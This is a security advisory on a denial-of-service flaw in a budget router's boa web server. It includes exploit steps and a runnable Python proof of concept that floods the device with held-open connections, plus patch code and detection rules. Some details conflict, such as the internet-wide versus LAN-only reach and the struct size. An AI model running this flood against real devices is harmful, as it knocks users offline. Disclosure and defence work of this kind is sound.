CVE-2026-36957: Dbit N300 Boa URI Handler Resource Exhaustion DoS
The Dbit N300 T1 Pro boa web server fails to bound concurrent connection state, allowing unauthenticated HTTP flood to exhaust file descriptors and trigger kernel deadlock.
The Dbit N300 T1 Pro is a budget wireless router sold online, often used in homes and small offices. Security researchers have discovered it has a serious flaw that lets someone knock it completely offline from anywhere on the internet.
Here's how it works. The router has a built-in web server that lets you manage settings through a browser. An attacker can bombard this server with thousands of fake requests asking for pages that don't exist. Think of it like someone repeatedly ringing your doorbell asking for random rooms in your house — eventually the door mechanism jams and stops working.
When flooded with these requests, the router's memory and processing power get exhausted. The system becomes so overloaded it essentially freezes, like your laptop becoming unresponsive after too many browser tabs. Once this happens, the router stops working completely — you can't access its settings and your internet connection dies.
This matters because your router is the gateway to your home network. When it goes down, you're offline until you restart it. If you rely on internet for work, school, or other essential activities, this is a real problem.
Small businesses and home workers are most at risk. Anyone could potentially launch this attack without needing any special access to your network — they just need to know your router's internet address.
What you can do: First, check if you own a Dbit N300 T1 Pro. Second, contact the manufacturer to see if they've released a firmware update that fixes this. Third, consider replacing older budget routers with more established brands that receive regular security updates. Your router might seem unimportant, but it's actually your first line of defense.
Want the full technical analysis? Click "Technical" above.
CVE-2026-36957 is an unauthenticated remote denial-of-service in the Dbit N300 T1 Pro Easy Setup Wireless Wi-Fi Router V1.0.0. The vulnerability lives in the boa HTTP server's URI dispatch loop. When an attacker floods the device with HTTP GET requests targeting non-existent URIs, boa allocates per-connection state and opens file descriptors for each request without enforcing a hard ceiling on concurrent connections or releasing descriptors fast enough under load. The process exhausts the kernel's per-process file descriptor table, after which every subsequent accept(), open(), and socket() call returns EMFILE. The router's web management portal becomes permanently unreachable and routing capability degrades to a halt, requiring a physical power cycle to recover.
CVSS 7.5 (HIGH) — Network / Low complexity / No privileges / No interaction / High availability impact.
Affected Component
The affected binary is /usr/sbin/boa, a stripped MIPS32 ELF linked against uClibc. The vulnerability manifests in two cooperating subsystems:
URI handler dispatch — process_request() allocates a request struct per accepted connection.
Connection cleanup — free_request() / close_connection() are only called on graceful teardown, not on partial or aborted reads, leaving descriptors open until the process's FD table saturates.
Root Cause Analysis
Boa's main event loop calls accept() in a tight iteration, wraps the resulting socket in a heap-allocated request struct, and enqueues it for reading. The URI is read and dispatched through get_request(). For 404 paths, send_r_not_found() queues a response but the actual close() is deferred to the next select loop iteration. Under flood conditions, new accept() calls outpace the deferred close path, growing the live FD set without bound.
/* boa: src/request.c — process_request(), reconstructed pseudocode */
#define MAX_CONNECTIONS 0 // BUG: not enforced; compiled-out or absent
typedef struct request {
int fd; // accepted socket fd — never closed on 404 fast-path
int data_fd; // file fd for static content
char request_uri[MAX_HEADER_LENGTH];
char pathname[MAX_PATH];
struct request *next;
} request_t;
static request_t *request_free_list = NULL;
static int total_connections = 0; // BUG: incremented, never capped
request_t *new_request(int server_fd) {
int conn_fd = accept(server_fd, NULL, NULL);
if (conn_fd == -1) {
/* EMFILE is silently dropped — boa re-enters select(), accepts nothing */
return NULL;
}
// BUG: no guard on total_connections before allocation
request_t *r = (request_t *)malloc(sizeof(request_t));
if (!r) return NULL;
r->fd = conn_fd;
r->next = NULL;
total_connections++; // BUG: unbounded increment
return r;
}
void get_request(request_t *r) {
int bytes = read(r->fd, r->request_uri, MAX_HEADER_LENGTH);
if (bytes <= 0) {
/* BUG: partial / zero read on flood path — request struct leaked,
r->fd never closed here; cleanup deferred to next loop tick
that never arrives under sustained load */
return;
}
dispatch_uri(r);
}
void dispatch_uri(request_t *r) {
if (uri_not_found(r->request_uri)) {
send_r_not_found(r); // queues write, sets r->state = DONE
// BUG: close(r->fd) happens only when write buffer drains;
// under flood, write never completes before next accept()
return;
}
/* ... normal handler ... */
}
Root cause:boa's URI dispatch path defers close(fd) to a write-completion callback that is starved under flood load, causing file descriptors to accumulate until EMFILE permanently disables accept() and kills all routing.
Memory Layout
Each request_t struct on the heap consumes the following layout. With a default uClibc rlimit of 256 file descriptors and a struct size of ~4 KB, the process heap expands roughly 1 MB before FD exhaustion occurs — well within the N300's constrained 32 MB RAM envelope, meaning RAM pressure and FD exhaustion hit simultaneously.
struct request {
/* +0x000 */ int fd; // live socket, 4 bytes
/* +0x004 */ int data_fd; // static file fd
/* +0x008 */ int post_data_fd; // POST body tmp fd
/* +0x00c */ int state; // FSM state
/* +0x010 */ char request_uri[4096]; // URI buffer, unbounded read target
/* +0x410 */ char pathname[4096]; // resolved fs path
/* +0x810 */ char response_buf[1024]; // outbound HTTP headers
/* +0xc10 */ struct request *next; // freelist pointer
/* +0xc14 */ struct request *prev;
/* total */ // ~0xc18 = 3096 bytes per live connection
};
HEAP STATE — 250 CONCURRENT FLOOD CONNECTIONS:
[ request_t #0 @ 0x80a4000 | fd=4 | state=WRITING | uri="/nonexist_0" ]
[ request_t #1 @ 0x80a4c18 | fd=5 | state=WRITING | uri="/nonexist_1" ]
[ ... ]
[ request_t #251 @ 0x80f2408 | fd=255| state=READING | uri="/nonexist_251"]
[ request_t #252 @ 0x80f3020 | fd=-1 | accept()=EMFILE — malloc wasted ]
KERNEL FD TABLE (pid=boa):
fd 0-2: stdin/stdout/stderr
fd 3: server listen socket
fd 4-255: leaked accepted sockets (CLOSE_WAIT / ESTABLISHED)
fd 256+: EMFILE — all subsequent accept() fail silently
AFTER EXHAUSTION:
boa select() loop spins on empty read set
new TCP SYN packets: accepted by kernel, boa never calls accept()
SYN backlog fills (default=5), router drops all new TCP
DNS, DHCP renewal, and management plane: DEAD
Exploitation Mechanics
EXPLOIT CHAIN:
1. Attacker on LAN (or WAN if remote management enabled) opens ~300 TCP
connections to router port 80 in rapid succession.
2. Each connection sends a well-formed HTTP GET to a non-existent URI:
GET /AAAAAAAAAAAAAAAAAAAAAA HTTP/1.0\r\n\r\n
boa calls accept() → malloc(request_t) → reads partial headers.
3. Attacker holds TCP connections open (no FIN/RST) using SO_LINGER=0
or simply keeping the socket alive. This prevents boa's deferred
close() from ever firing on the write-completion path.
4. After ~252 connections (fd limit), boa's accept() returns EMFILE.
boa logs nothing, re-enters select(), and blocks indefinitely.
No new connections are serviced.
5. Existing routing state (conntrack, DHCP leases) begins to expire.
Within 60–90 seconds all LAN clients lose internet access.
6. Recovery requires physical power cycle — boa has no watchdog restart
and the web management portal is unreachable for OTA reboot.
A minimal Python proof-of-concept to reach exhaustion in under two seconds:
#!/usr/bin/env python3
# CVE-2026-36957 — Dbit N300 boa FD exhaustion PoC
# Research use only.
import socket, time, random, string
TARGET = "192.168.1.1"
PORT = 80
SOCKS = []
def rand_uri(n=24):
return '/' + ''.join(random.choices(string.ascii_lowercase, k=n))
print(f"[*] Flooding {TARGET}:{PORT} — holding connections open")
for i in range(300):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((TARGET, PORT))
req = f"GET {rand_uri()} HTTP/1.0\r\nHost: {TARGET}\r\n\r\n"
s.send(req.encode())
# Do NOT close — hold descriptor open to prevent boa cleanup
SOCKS.append(s)
print(f"[+] connection {i+1} fd leaked on target")
except Exception as e:
print(f"[!] {i+1}: {e} — target likely exhausted")
break
print(f"[*] {len(SOCKS)} sockets held. Router management portal should be dead.")
print("[*] Sleeping 90s to let conntrack expire...")
time.sleep(90)
# Clean up attacker side
for s in SOCKS:
s.close()
Patch Analysis
The correct remediation requires two independent fixes: a hard connection ceiling enforced before malloc(), and eager close(fd) on the 404/error fast-path rather than deferring to the write-completion callback.
// BEFORE (vulnerable):
request_t *new_request(int server_fd) {
int conn_fd = accept(server_fd, NULL, NULL);
if (conn_fd == -1) return NULL;
// no ceiling check
request_t *r = malloc(sizeof(request_t));
r->fd = conn_fd;
total_connections++;
return r;
}
void dispatch_uri(request_t *r) {
if (uri_not_found(r->request_uri)) {
send_r_not_found(r); // deferred close; fd leaks under load
return;
}
}
// AFTER (patched):
#define MAX_CONNECTIONS 64 // hard ceiling matching RLIMIT headroom
request_t *new_request(int server_fd) {
if (total_connections >= MAX_CONNECTIONS) {
/* Reject immediately — don't even accept() to avoid backlog drain */
return NULL;
}
int conn_fd = accept(server_fd, NULL, NULL);
if (conn_fd == -1) return NULL;
request_t *r = malloc(sizeof(request_t));
if (!r) { close(conn_fd); return NULL; } // fix: close on alloc fail
r->fd = conn_fd;
total_connections++;
return r;
}
void dispatch_uri(request_t *r) {
if (uri_not_found(r->request_uri)) {
send_r_not_found(r);
close(r->fd); // fix: eager close, don't wait for write drain
r->fd = -1;
free_request(r); // fix: return struct to free list immediately
total_connections--;
return;
}
}
Detection and Indicators
From a management session before the device hangs:
## Check open FDs for boa process
$ ls -la /proc/$(pidof boa)/fd | wc -l
258 # approaching limit; normal is < 20
## netstat shows hundreds of CLOSE_WAIT sockets
$ netstat -antp | grep boa | grep CLOSE_WAIT | wc -l
247
## Kernel log (dmesg) on device console:
[ 412.338] boa[843]: too many open files (EMFILE) in accept()
[ 412.340] boa[843]: select: Bad file descriptor
## Snort / Suricata — detect flood pattern:
alert tcp any any -> $HOME_NET 80 (
msg:"CVE-2026-36957 Dbit N300 boa FD exhaustion flood";
flow:to_server,stateless;
threshold:type both, track by_src, count 50, seconds 5;
content:"GET /"; depth:5;
sid:2026369570; rev:1;
)
Remediation
Firmware update: No vendor patch is currently available as of publication. Monitor the Dbit support portal for V1.0.1 or later.
Firewall rule: Rate-limit inbound TCP/80 connections per source IP at the upstream router or ISP CPE. Example iptables rule for devices behind a secondary router:
Disable remote management: Ensure WAN-side HTTP management is disabled. The attack surface is LAN-only unless "Remote Management" is explicitly enabled in the router UI.
Network segmentation: Treat the management VLAN as untrusted until a firmware fix is available. Any compromised LAN host can trigger this DoS trivially.
Watchdog: No software mitigation exists once the device is hung; only a hardware watchdog timer would allow automatic recovery without physical intervention.